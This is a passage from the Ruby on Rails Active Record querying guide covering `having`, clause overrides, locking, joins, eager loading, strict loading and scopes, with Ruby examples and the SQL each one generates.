To filter the results of a grouped query, you can use the [`having`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-having) method.

Unlike `where`, which filters rows before grouping, `having` filters the groups after they have been aggregated.

For example:

```
Order.select("customer_id, sum(total) as total_price").
  group("customer_id").having("sum(total) > ?", 200)
```

The SQL that would be executed would be something like this:

```
SELECT customer_id, sum(total) as total_price
  FROM orders
  GROUP BY customer_id
  HAVING sum(total) > 200
```

This returns the customer ID and total price for each customer, grouped by customer, whose total order value exceeds $200.

You can access the `total_price` for each order record returned like this:

```
big_orders = Order.select("customer_id, sum(total) as total_price")
                  .group("customer_id")
                  .having("sum(total) > ?", 200)

big_orders[0].total_price
# Returns the total price for the first Order record
```

## [11. Overriding Clauses](#overriding-clauses)

There are times when you want to build on an existing relation but change part of its query by removing conditions, replacing them, or redefining how records are selected or ordered. Active Record provides several methods that allow you to override individual clauses without rebuilding the entire relation from scratch.

### [11.1. `unscope`](#unscope)

You can specify certain conditions to be removed using the [`unscope`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-unscope) method. For example:

```
Book.where("id > 100").limit(20).order("id desc").unscope(:order)
```

The SQL that would be executed:

```
SELECT *
  FROM books
  WHERE id > 100
  LIMIT 20

-- Original query without `unscope`
SELECT *
  FROM books
  WHERE id > 100
  ORDER BY id desc
  LIMIT 20
```

You can also unscope specific `where` clauses. For example, this will remove the `id` condition from the where clause:

```
Book.where(id: 10, out_of_print: false).unscope(where: :id)
```

This will generate the following SQL:

```
SELECT books.* FROM books WHERE out_of_print = false
```

A relation which has used `unscope` will affect any relation into which it is merged. In the following example the `order` is removed from the original relation:

```
Book.order("id desc").merge(Book.unscope(:order))
```

This will generate the following SQL:

```
SELECT books.* FROM books
```

### [11.2. `unscoped`](#unscoped)

If we wish to remove all scoping for any reason we can use the [`unscoped`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-unscoped) method. This is especially useful if a `default_scope` is specified in the model but should not be applied for this particular query. However, `unscoped` can be used even when no scopes are present.

```
Book.unscoped.load
```

This method removes all scoping and will do a normal query on the table.

```
Book.unscoped.all
```

```
Book.where(out_of_print: true).unscoped.all
```

Both of the above will generate the following SQL:

```
SELECT books.* FROM books
```

`unscoped` can also accept a block:

```
Book.unscoped { Book.out_of_print }
```

```
SELECT books.* FROM books WHERE books.out_of_print = true
```

### [11.3. `only`](#only)

You can override conditions using the [`only`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/SpawnMethods.html#method-i-only) method. In the following example only the `:order` and `:where` scopes are applied, but the `:limit` scope is removed:

```
Book.where("id > 10").limit(20).order("id desc").only(:order, :where)
```

The SQL that would be executed:

```
SELECT *
  FROM books
  WHERE id > 10
  ORDER BY id DESC

-- Original query without `only`
SELECT *
  FROM books
  WHERE id > 10
  ORDER BY id DESC
  LIMIT 20
```

### [11.4. `except`](#except)

You can remove specific conditions using the [`except`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/SpawnMethods.html#method-i-except) method. For example:

```
Book.where("id > 100").limit(20).order("id desc").except(:order)
```

The SQL that will be executed ignores the `:order` clause:

```
SELECT *
  FROM books
  WHERE id > 100
  LIMIT 20

-- Original query without `except`
SELECT *
  FROM books
  WHERE id > 100
  ORDER BY id desc
  LIMIT 20
```

You can also remove multiple conditions:

```
Book.where("id > 100").limit(20).order("id desc").except(:order, :limit)
```

This will generate the following SQL:

```
SELECT books.* FROM books WHERE id > 100
```

### [11.5. `reselect`](#reselect)

The [`reselect`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-reselect) method overrides an existing select statement. For example:

```
Book.select(:title, :isbn).reselect(:created_at)
```

This will generate the following SQL:

```
SELECT books.created_at FROM books
```

Compare this to the case where the `reselect` clause is not used:

```
Book.select(:title, :isbn).select(:created_at)
```

This will generate the following SQL:

```
SELECT books.title, books.isbn, books.created_at FROM books
```

### [11.6. `reorder`](#reorder)

The [`reorder`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-reorder) method overrides any previously defined order clause. For example, if the class definition includes this:

```
class Book < ApplicationRecord
  default_scope { order(year_published: :desc) }
end
```

And you execute this:

```
Book.all
```

This will generate the following SQL:

```
SELECT *
  FROM books
  ORDER BY year_published DESC
```

You can use the `reorder` clause to specify a different order:

```
Book.reorder("year_published ASC")
```

The SQL that would be executed:

```
SELECT *
  FROM books
  ORDER BY year_published ASC
```

The `reorder` method also works with any previously defined order, not just association order:

```
Book.where("id > 100").order("id desc").reorder("title ASC")
```

This will override the previous `order("id desc")` clause and only order by title.

### [11.7. `reverse_order`](#reverse-order)

The [`reverse_order`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-reverse_order) method reverses the ordering clause if specified.

```
Book.where("author_id > 10").order(:year_published).reverse_order
```

The SQL that would be executed sets the order to be `DESC`:

```
SELECT * FROM books WHERE author_id > 10 ORDER BY year_published DESC
```

If no ordering clause is specified in the query, the `reverse_order` orders by the primary key in reverse order.

```
Book.where("author_id > 10").reverse_order
```

The SQL that would be executed:

```
SELECT * FROM books WHERE author_id > 10 ORDER BY books.id DESC
```

The `reverse_order` method accepts **no** arguments.

### [11.8. `rewhere`](#rewhere)

The [`rewhere`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-rewhere) method overrides an existing, named `where` condition. For example:

```
Book.where(out_of_print: true).rewhere(out_of_print: false)
```

The SQL that would be executed:

```
SELECT * FROM books WHERE out_of_print = false
```

If a regular `where` is used instead, the conditions are combined with AND rather than replaced:

```
Book.where(out_of_print: true).where(out_of_print: false)
```

The SQL that would be executed:

```
SELECT * FROM books WHERE out_of_print = true AND out_of_print = false
```

### [11.9. `regroup`](#regroup)

The [`regroup`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-regroup) method overrides an existing, named `group` condition. For example:

```
Book.group(:author_id).regroup(:id)
```

The SQL that would be executed groups by the regrouped columns:

```
SELECT * FROM books GROUP BY id
```

If a regular `group` is used instead of the `regroup` clause, the group clauses are combined together:

```
Book.group(:author_id).group(:id)
```

The SQL executed would be:

```
SELECT * FROM books GROUP BY author_id, id
```

## [12. Null Relation](#null-relation)

The [`none`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-none) method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results.

```
Book.none # returns an empty Relation and fires no queries.
```

```
class Book
  # Returns reviews if there are at least 5,
  # else consider this as non-reviewed book
  def highlighted_reviews
    if reviews.count >= 5
      reviews
    else
      Review.none # Does not meet minimum threshold yet
    end
  end
end

# The highlighted_reviews method is expected to always return a Relation.
Book.first.highlighted_reviews.average(:rating)
# => Returns average rating of a book even when there are less than 5 reviews.
```

## [13. Readonly Records](#readonly-records)

Active Record provides the [`readonly`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-readonly) method on a relation to explicitly disallow modification of any of the returned records. Any attempt to alter a readonly record will not succeed, raising an `ActiveRecord::ReadOnlyRecord` exception.

```
customer = Customer.readonly.first
customer.visits += 1
customer.save # Raises an ActiveRecord::ReadOnlyRecord
```

As `customer` is explicitly set to be a readonly record, the above code will raise an `ActiveRecord::ReadOnlyRecord` exception when calling `customer.save` with an updated value of *visits*.

## [14. Locking Records for Update](#locking-records-for-update)

Locking is helpful for preventing race conditions when updating records in the database and ensuring atomic updates.

An atomic operation is one that completes entirely or not at all, preventing partial updates from being visible to other processes.

Active Record provides two locking mechanisms:

* Optimistic Locking
* Pessimistic Locking

### [14.1. Optimistic Locking](#optimistic-locking)

Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An `ActiveRecord::StaleObjectError` exception is thrown if that has occurred and the update is ignored.

#### [14.1.1. Optimistic locking column](#optimistic-locking-column)

In order to use optimistic locking, the table needs to have a column called `lock_version` of type integer. Each time the record is updated, Active Record increments the `lock_version` column. If an update request is made with a lower value in the `lock_version` field than is currently in the `lock_version` column in the database, the update request will fail with an `ActiveRecord::StaleObjectError`.

For example:

```
c1 = Customer.find(1)
c2 = Customer.find(1)

c1.first_name = "Sandra"
c1.save

c1.lock_version # => 1
c2.lock_version # => 0

c2.first_name = "Michael"
c2.save  # Raises an ActiveRecord::StaleObjectError
```

You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise applying the business logic needed to resolve the conflict.

This behavior can be turned off by setting `ActiveRecord::Base.lock_optimistically = false`.

To override the name of the `lock_version` column, `ActiveRecord::Base` provides a class attribute called `locking_column`:

```
class Customer < ApplicationRecord
  self.locking_column = :lock_customer_column
end
```

### [14.2. Pessimistic Locking](#pessimistic-locking)

Pessimistic locking uses a locking mechanism provided by the underlying database. Using [`lock`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-lock) when building a relation obtains an exclusive lock on the selected rows. Relations using `lock` are usually wrapped inside a transaction for preventing deadlock conditions.

For example:

```
Book.transaction do
  book = Book.lock.first
  book.title = "Algorithms, second edition"
  book.save!
end
```

The above session produces the following SQL for a MySQL backend:

```
SQL (0.2ms)   BEGIN
Book Load (0.3ms)   SELECT * FROM books LIMIT 1 FOR UPDATE
Book Update (0.4ms)   UPDATE books SET updated_at = "2009-02-07 18:05:56", title = "Algorithms, second edition" WHERE id = 1
SQL (0.8ms)   COMMIT
```

You can also pass raw SQL to the [`lock`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-lock) method for allowing different types of locks. For example, MySQL has an expression called `LOCK IN SHARE MODE` where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:

```
Book.transaction do
  book = Book.lock("LOCK IN SHARE MODE").find(1)
  book.increment!(:views)
end
```

Your database needs to support the raw SQL that you pass in to the `lock` method, otherwise an `ActiveRecord::StatementInvalid` exception will be raised.

If you already have an instance of your model, you can start a transaction and acquire the lock in one go using the [`with_lock`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Locking/Pessimistic.html#method-i-with_lock) method. The block receives the current transaction so you can register callbacks:

```
book = Book.first
# Reload book with a lock before yielding.
book.with_lock do |transaction|
  # This block is called within a transaction,
  # book is already locked.
  transaction.after_commit { puts "hello" }
  book.increment!(:views)
end
```

## [15. Joining Tables](#joining-tables)

Joining tables allows you to retrieve records from multiple tables in a single query, for example, fetching books together with their authors.

Active Record provides two finder methods for specifying `JOIN` clauses on the resulting SQL; [`joins`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-joins) and [`left_outer_joins`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-left_outer_joins):

* `joins` should be used for `INNER JOIN` or custom queries
* `left_outer_joins` should be used for queries using `LEFT OUTER JOIN`

### [15.1. `joins`](#joins)

There are multiple ways to use the `joins` method.

#### [15.1.1. Using a String SQL Fragment](#using-a-string-sql-fragment)

You can just supply the raw SQL specifying the `JOIN` clause to `joins`:

```
Author.joins("INNER JOIN books ON books.author_id = authors.id AND books.out_of_print = FALSE")
```

This will result in the following SQL:

```
SELECT authors.* FROM authors
  INNER JOIN books ON books.author_id = authors.id AND books.out_of_print = FALSE
```

#### [15.1.2. Using Array/Hash of Named Associations](#using-array-hash-of-named-associations)

Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clauses for those associations when using the `joins` method.

All of the following will produce the expected join queries using `INNER JOIN`:

##### [15.1.2.1. Joining a Single Association](#joining-a-single-association)

Pass the name of the association to join a single table:

```
Book.joins(:reviews)
```

This produces the following SQL:

```
SELECT books.* FROM books
  INNER JOIN reviews ON reviews.book_id = books.id
```

The SQL query will return a Book record for all books with reviews.

You will see duplicate books if a book has more than one review. If you want unique books, you can use `Book.joins(:reviews).distinct`.

##### [15.1.2.2. Joining Multiple Associations](#joining-multiple-associations)

Pass multiple association names to join multiple tables:

```
Book.joins(:author, :reviews)
```

This produces the following SQL:

```
SELECT books.* FROM books
  INNER JOIN authors ON authors.id = books.author_id
  INNER JOIN reviews ON reviews.book_id = books.id
```

The SQL query will return all books that have an author *and* at least one review.

You will see duplicate books if a book has more than one review. If you want unique books, you can use `Book.joins(:reviews).distinct`.

##### [15.1.2.3. Joining Nested Associations (Single Level)](#joining-nested-associations-single-level)

Pass a hash of association names to join tables on other joined tables:

```
Book.joins(reviews: :customer)
```

This produces the following SQL:

```
SELECT books.* FROM books
  INNER JOIN reviews ON reviews.book_id = books.id
  INNER JOIN customers ON customers.id = reviews.customer_id
```

The SQL query will return all books that have a review by a customer.

##### [15.1.2.4. Joining Nested Associations (Multiple Level)](#joining-nested-associations-multiple-level)

For more complex joining, use a combination of hashes and arrays:

```
Author.joins(books: [{ reviews: { customer: :orders } }, :supplier])
```

This produces the following SQL:

```
SELECT authors.* FROM authors
  INNER JOIN books ON books.author_id = authors.id
  INNER JOIN reviews ON reviews.book_id = books.id
  INNER JOIN customers ON customers.id = reviews.customer_id
  INNER JOIN orders ON orders.customer_id = customers.id
  INNER JOIN suppliers ON suppliers.id = books.supplier_id
```

The SQL query will return all authors that have a book which has both a review from a customer that has placed an order *and* a supplier.

#### [15.1.3. Specifying Conditions on the Joined Tables](#specifying-conditions-on-the-joined-tables)

You can specify conditions on the joined tables using the regular [Array](#array-conditions) and [String](#pure-string-conditions) conditions. [Hash conditions](#hash-conditions) provide a special syntax for specifying conditions for the joined tables:

```
time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Customer.joins(:orders).where("orders.created_at" => time_range).distinct
```

This will find all customers who have orders that were created yesterday, using a `BETWEEN` SQL expression to compare `created_at`.

An alternative and cleaner syntax is to nest the hash conditions:

```
time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Customer.joins(:orders).where(orders: { created_at: time_range }).distinct
```

For more advanced conditions or to reuse an existing named scope, [`merge`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/SpawnMethods.html#method-i-merge) may be used. First, let's add a new named scope to the `Order` model:

```
class Order < ApplicationRecord
  belongs_to :customer

  scope :created_in_time_range, ->(time_range) {
    where(created_at: time_range)
  }
end
```

Now we can use `merge` to merge in the `created_in_time_range` scope:

```
time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Customer.joins(:orders).merge(Order.created_in_time_range(time_range)).distinct
```

This will find all customers who have orders that were created yesterday, again using a `BETWEEN` SQL expression.

### [15.2. `left_outer_joins`](#left-outer-joins)

Inner joins will only return records that have the associated records.

If you want to select a set of records whether or not they have associated records you can use the [`left_outer_joins`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-left_outer_joins) method.

```
Customer.left_outer_joins(:reviews).distinct.select("customers.*, COUNT(reviews.*) AS reviews_count").group("customers.id")
```

This produces the following SQL:

```
SELECT DISTINCT customers.*, COUNT(reviews.*) AS reviews_count FROM customers
  LEFT OUTER JOIN reviews ON reviews.customer_id = customers.id
  GROUP BY customers.id
```

It will return all customers with their count of reviews, whether or not they have any reviews at all

### [15.3. `where.associated` and `where.missing`](#where-associated-and-where-missing)

The `associated` and `missing` query methods let you select a set of records based on the presence or absence of an association.

To use `where.associated`, begin with an empty `where` followed by `associated` with the association name:

```
Customer.where.associated(:reviews)
```

This produces the following SQL:

```
SELECT customers.* FROM customers
  INNER JOIN reviews ON reviews.customer_id = customers.id
  WHERE reviews.id IS NOT NULL
```

The SQL query will return all customers that have made at least one review.

`where.missing` is the opposite of `where.associated`. You can use `where.missing` to select records that do not have an association:

```
Customer.where.missing(:reviews)
```

This produces the following SQL:

```
SELECT customers.* FROM customers
  LEFT OUTER JOIN reviews ON reviews.customer_id = customers.id
  WHERE reviews.id IS NULL
```

The SQL query will return all customers that have not made any reviews.

If a join is already defined `associated` will use that join instead:

```
# associated will use LEFT JOIN for this query instead of using JOIN
Post.left_joins(:author).where.associated(:author)
```

## [16. Eager Loading Associations](#eager-loading-associations)

Eager loading is the mechanism for loading the associated records of the objects returned by `ActiveRecord::Relation` using the most performant queries possible.

### [16.1. N + 1 Queries Problem](#n-1-queries-problem)

Retrieving a list of records N (where N is a number greater that 1) in a single query can sometimes trigger N extra queries; one for each record.

Consider the following code, which finds 10 books and prints their authors' last\_name:

```
books = Book.limit(10)

books.each do |book|
  puts book.author.last_name
end
```

This code looks fine at the first sight, but the problem lies within the total number of queries executed. The above code executes 1 (to find 10 books) + 10 (one per each book to load the author) = **11** queries in total.

#### [16.1.1. Solution to N + 1 Queries Problem](#solution-to-n-1-queries-problem)

Active Record lets you specify in advance all the associations that are going to be loaded.

The methods are:

* [`includes`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-includes)
* [`preload`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-preload)
* [`eager_load`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-eager_load)

Prefer using [`includes`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-includes), as it is a higher-level method that will use either [`preload`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-preload) or [`eager_load`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-eager_load) depending on the query.

### [16.2. `includes`](#includes)

With `includes`, Active Record tries to load the specified associations using the most performant queries.

Revisiting the above case using the `includes` method, we could rewrite `Book.limit(10)` to eager load authors:

```
books = Book.includes(:author).limit(10)

books.each do |book|
  puts book.author.last_name
end
```

The above code will execute just **2** queries, as opposed to the **11** queries from the original case:

```
SELECT books.* FROM books
  LIMIT 10

SELECT authors.* FROM authors
  WHERE authors.id IN (1,2,3,4,5,6,7,8,9,10)
```

#### [16.2.1. Eager Loading Multiple Associations](#eager-loading-multiple-associations)

Active Record lets you eager load any number of associations with a single `ActiveRecord::Relation` call by using an array, hash, or a nested hash of array/hash with the `includes` method.

To eager load multiple associations pass an array of association names:

```
Customer.includes(:orders, :reviews)
```

This loads all the customers and the associated orders and reviews for each.

To eager load nested associations, pass a hash:

```
Customer.includes(orders: { books: [:supplier, :author] }).find(1)
```

This will find the customer with id 1 and eager load all of the associated orders for it, the books for all of the orders, and the author and supplier for each of the books.

Even though Active Record allows you to specify conditions on eager-loaded associations, the recommended approach is to use [joins](#joining-tables) for this type of query.

However if you must do this, you may use `where` as you would normally.

```
Author.includes(:books).where(books: { out_of_print: true })
```

This will generate a query which contains a `LEFT OUTER JOIN` whereas the `joins` method will generate one using the `INNER JOIN` function instead.

```
  SELECT authors.id AS t0_r0, ... books.updated_at AS t1_r5 FROM authors
    LEFT OUTER JOIN books ON books.author_id = authors.id
    WHERE (books.out_of_print = true)
```

If there was no `where` condition, this will generate the normal set of two queries.

Using `where` like this will only work when you pass it a Hash. For SQL-fragments you need to use [`references`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-references) to force joined tables:

```
Author.includes(:books).where("books.out_of_print = true").references(:books)
```

If, in the case of this `includes` query, there were no books for any authors, all the authors would still be loaded. By using `joins` (an INNER JOIN), the join conditions **must** match, otherwise no records will be returned.

If an association is eager loaded as part of a join, any fields from a custom select clause will not be present on the loaded models. This is because it is ambiguous whether they should appear on the parent record, or the child.

Prefer using `includes`, as it is a higher-level method that chooses between separate queries and a `LEFT OUTER JOIN` depending on the query.

### [16.3. `preload`](#preload)

With `preload`, Active Record loads each specified association using one query per association. This is exactly the same as what `includes` will do when there are no conditions.

Revisiting the N + 1 queries problem, we could rewrite `Book.limit(10)` to preload authors:

```
books = Book.preload(:author).limit(10)

books.each do |book|
  puts book.author.last_name
end
```

The above code will execute just **2** queries, as opposed to the **11** queries from the original case:

```
SELECT books.* FROM books
  LIMIT 10

SELECT authors.* FROM authors
  WHERE authors.id IN (1,2,3,4,5,6,7,8,9,10)
```

The `preload` method uses an array, hash, or a nested hash of array/hash in the same way as the `includes` method to load any number of associations with a single `ActiveRecord::Relation` call. In simple cases, this is the same strategy that `includes` uses. However, unlike the `includes` method, it is not possible to specify conditions for preloaded associations.

### [16.4. `eager_load`](#eager-load)

With `eager_load`, Active Record loads all specified associations using a `LEFT OUTER JOIN`.

Revisiting the case where N + 1 queries occurred using the `eager_load` method, we could rewrite `Book.limit(10)` to eager load authors:

```
books = Book.eager_load(:author).limit(10)

books.each do |book|
  puts book.author.last_name
end
```

The above code will execute just **1** query, as opposed to the **11** queries from the original case:

```
SELECT "books"."id" AS t0_r0, "books"."title" AS t0_r1, ... FROM "books"
  LEFT OUTER JOIN "authors" ON "authors"."id" = "books"."author_id"
  LIMIT 10
```

The `eager_load` method uses an array, hash, or a nested hash of array/hash in the same way as the `includes` method to load any number of associations with a single `ActiveRecord::Relation` call. Also, like the `includes` method, you can specify conditions for eager loaded associations.

### [16.5. `strict_loading`](#strict-loading)

Eager loading can prevent N + 1 queries but you might still be lazy loading some associations. To make sure no associations are lazy loaded you can enable [`strict_loading`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-strict_loading).

By enabling strict loading mode on a relation, an `ActiveRecord::StrictLoadingViolationError` will be raised if the record tries to lazily load any association:

```
user = User.strict_loading.first
user.address.city # raises an ActiveRecord::StrictLoadingViolationError
user.comments.to_a # raises an ActiveRecord::StrictLoadingViolationError
```

To enable strict loading for all relations, change [`config.active_record.strict_loading_by_default`](configuring.html#config-active-record-strict-loading-by-default) to `true`:

```
config.active_record.strict_loading_by_default = true
```

To send violations to the logger instead, change [`config.active_record.action_on_strict_loading_violation`](configuring.html#config-active-record-action-on-strict-loading-violation) to `:log`:

```
config.active_record.action_on_strict_loading_violation = :log
```

### [16.6. `strict_loading!`](#strict-loading-bang)

We can also enable strict loading on the record itself by calling [`strict_loading!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Core.html#method-i-strict_loading-21):

```
user = User.first
user.strict_loading!
user.address.city # raises an ActiveRecord::StrictLoadingViolationError
user.comments.to_a # raises an ActiveRecord::StrictLoadingViolationError
```

`strict_loading!` also takes a `:mode` argument. Setting it to `:n_plus_one_only` will only raise an error if an association that will lead to an N + 1 query is lazily loaded:

```
user.strict_loading!(mode: :n_plus_one_only)
user.address.city # => "Tatooine"
user.comments.to_a # => [#<Comment:0x00...]
user.comments.first.likes.to_a # raises an ActiveRecord::StrictLoadingViolationError
```

### [16.7. `strict_loading` option on an association](#strict-loading-option-on-an-association)

We can also enable strict loading for a single association by providing the `strict_loading` option:

```
class Author < ApplicationRecord
  has_many :books, strict_loading: true
end
```

## [17. Scopes](#scopes)

Scoping allows you to specify commonly-used queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as `where`, `joins` and `includes`. All scope bodies should return an `ActiveRecord::Relation` or `nil` to allow for further methods (such as other scopes) to be called on it.

To define a simple scope, we use the [`scope`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Scoping/Named/ClassMethods.html#method-i-scope) method inside the class, passing the query that we'd like to run when this scope is called:

```
class Book < ApplicationRecord
  scope :out_of_print, -> { where(out_of_print: true) }
end
```

To call this `out_of_print` scope we can call it on either the class:

```
store(dev)> Book.out_of_print
=> #<ActiveRecord::Relation> # all out of print books
```

Or on an association consisting of `Book` records:

```
store(dev)> author = Author.first
store(dev)> author.books.out_of_print
=> #<ActiveRecord::Relation> # all out of print books by `author`
```

### [17.1. Passing in Arguments](#passing-in-arguments)

Your scope can take arguments:

```
class Book < ApplicationRecord
  scope :costs_more_than, ->(amount) { where("price > ?", amount) }
end
```

Call the scope as if it were a class method:

```
store(dev)> Book.costs_more_than(100.10)
```

However, this is just duplicating the functionality that would be provided to you by a class method.

```
class Book < ApplicationRecord
  def self.costs_more_than(amount)
    where("price > ?", amount)
  end
end
```

These methods will still be accessible on the association objects:

```
store(dev)> author.books.costs_more_than(100.10)
```

### [17.2. Using Conditionals](#using-conditionals)

Your scope can utilize conditionals:

```
class Order < ApplicationRecord
  scope :created_before, ->(time) { where(created_at: ...time) if time.present? }
end
```

Like the other examples, this will behave similarly to a class method.

```
class Order < ApplicationRecord
  def self.created_before(time)
    where(created_at: ...time) if time.present?
  end
end
```

However, there is one important caveat: A scope will always return an `ActiveRecord::Relation` object, even if the conditional evaluates to `false`, whereas a class method, will return `nil`. This can cause `NoMethodError` when chaining class methods with conditionals, if any of the conditionals return `false`.

To make a class method behave like a scope (always return an `ActiveRecord::Relation`), you can return `self` when the conditional evaluates to `false`:

```
class Order < ApplicationRecord
  def self.created_before(time)
    if time.present?
      where(created_at: ...time)
    else
      self
    end
  end
end
```

This way, the class method will always return an `ActiveRecord::Relation` object, making it safe to chain just like a scope.

### [17.3. Applying a Default Scope](#applying-a-default-scope)

If you want a scope to be applied across all queries to the model, you can use the [`default_scope`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-default_scope) method within the model itself.

```
class Book < ApplicationRecord
  default_scope { where(out_of_print: false) }
end
```

When queries are executed on this model, the SQL query will now look something like this:

```
SELECT * FROM books WHERE (out_of_print = false)
```

If you need to do more complex things with a default scope, you can alternatively define it as a class method:

```
class Book < ApplicationRecord
  def self.default_scope
    # Should return an ActiveRecord::Relation.
  end
end
```

The `default_scope` is also applied while creating/building a record when the scope arguments are given as a `Hash`. It is not applied while updating a record.

For example, if you have a `default_scope` that sets `out_of_print` to `false`, and you create a new book with the `out_of_print` attribute set to `true`, the `default_scope` will be applied:

```
class Book < ApplicationRecord
  default_scope { where(out_of_print: false) }
end
```

```
store(dev)> Book.new
=> #<Book id: nil, out_of_print: false>
store(dev)> Book.unscoped.new
=> #<Book id: nil, out_of_print: nil>
```

Be aware that when scope arguments are given as an `Array`, `default_scope` cannot convert the arguments to a `Hash` for default attribute assignment. For example:

```
class Book < ApplicationRecord
  default_scope { where("out_of_print = ?", false) }
end
```

```
store(dev)> Book.new
=> #<Book id: nil, out_of_print: nil>
```

### [17.4. Merging of Scopes](#merging-of-scopes)

When you call multiple scopes sequentially, just like `where` clauses, scopes are merged using `AND` conditions.

```
class Book < ApplicationRecord
  scope :in_print, -> { where(out_of_print: false) }
  scope :out_of_print, -> { where(out_of_print: true) }

  scope :old, -> { where(year_published: ...50.years.ago.year) }
end
```

```
store(dev)> Book.out_of_print.old
SELECT books.* FROM books WHERE books.out_of_print = "true" AND books.year_published < 1969
```

Scopes can also call other scopes:

```
class Book < ApplicationRecord
  scope :out_of_print, -> { where(out_of_print: true) }
  scope :old, -> { where(year_published: ...50.years.ago.year) }
  scope :out_of_print_and_old, -> { out_of_print.old }
end
```

You can mix and match `scope` and `where` conditions and the final SQL will have all conditions joined with `AND` conditions.

```
store(dev)> Book.in_print.where(price: ...100)
SELECT books.* FROM books WHERE books.out_of_print = "false" AND books.price < 100
```

If you want the last `where` clause to take precedence over the previous `scope` conditions, you can use the [`merge`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/SpawnMethods.html#method-i-merge) method.

```
store(dev)> Book.in_print.merge(Book.out_of_print)
SELECT books.* FROM books WHERE books.out_of_print = true
```

One important caveat is that `default_scope` will be prepended in `scope` and `where` conditions.

For example:

```
class Book < ApplicationRecord
  default_scope { where(year_published: 50.years.ago.year..) }

  scope :in_print, -> { where(out_of_print: false) }
  scope :out_of_print, -> { where(out_of_print: true) }
end
```

```
store(dev)> Book.all
SELECT books.* FROM books WHERE (year_published >= 1969)

store(dev)> Book.in_print
SELECT books.* FROM books WHERE (year_published >= 1969) AND books.out_of_print = false

store(dev)> Book.where(year_published: 2020)
SELECT books.* FROM books WHERE (year_published >= 1969) AND (year_published = 2020)
```

The `default_scope` is merged in both `scope` and `where` conditions.

### [17.5. Block-Level Scoping](#block-level-scoping)

The [`scoping`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-scoping) method allows you to temporarily apply the current relation’s conditions within a block. Any query executed inside the block will use the scope of the relation.

#### [17.5.1. Basic Usage](#basic-usage)

```
Order.where(customer_id: 1).scoping do
  Order.first
end

# SELECT "orders".* FROM "orders" WHERE "orders"."customer_id" = ? ORDER BY "orders"."id" ASC LIMIT ?  [["customer_id", 1], ["LIMIT", 1]]
```

In this example, the `customer_id: 1` condition is applied automatically because the block is executed within the relation’s scope.

#### [17.5.2. Applying Scope To All Queries In The Block](#applying-scope-to-all-queries-in-the-block)

By default, scoping applies only to finder methods (such as `first`, `last`, `where`, etc.). If you want the scope to affect all queries—including `update` and `delete` on individual records, you can pass the option `all_queries: true`.

```
Order.where(customer_id: 1).scoping(all_queries: true) do
  order = Order.first
  order.update(status: :complete)
end

# Order Load (0.1ms)    SELECT "orders".* FROM "orders" WHERE "orders"."customer_id" = ? ORDER BY "orders"."id" ASC LIMIT ?  [["customer_id", 1], ["LIMIT", 1]]
# TRANSACTION (0.0ms)   BEGIN immediate TRANSACTION
# Order Update (0.1ms)  UPDATE "orders" SET "status" = ?, "updated_at" = ? WHERE "orders"."id" = ? AND "orders"."customer_id" = ?  [["status", 2], ["updated_at", "2025-11-25 11:26:16.089553"], ["id", 1], ["customer_id", 1]]
# TRANSACTION (0.0ms)   COMMIT TRANSACTION
```

This will ensure that the `customer_id: 1` condition is applied to all queries executed within the block.

Once a block has been entered with `all_queries: true`, nested blocks cannot disable it:

```
Order.where(customer_id: 1).scoping(all_queries: true) do
  # This will raise an ArgumentError:
  Order.scoping(all_queries: false) do
    # ...
  end
end
```

### [17.6. Removing All Scoping](#removing-all-scoping)

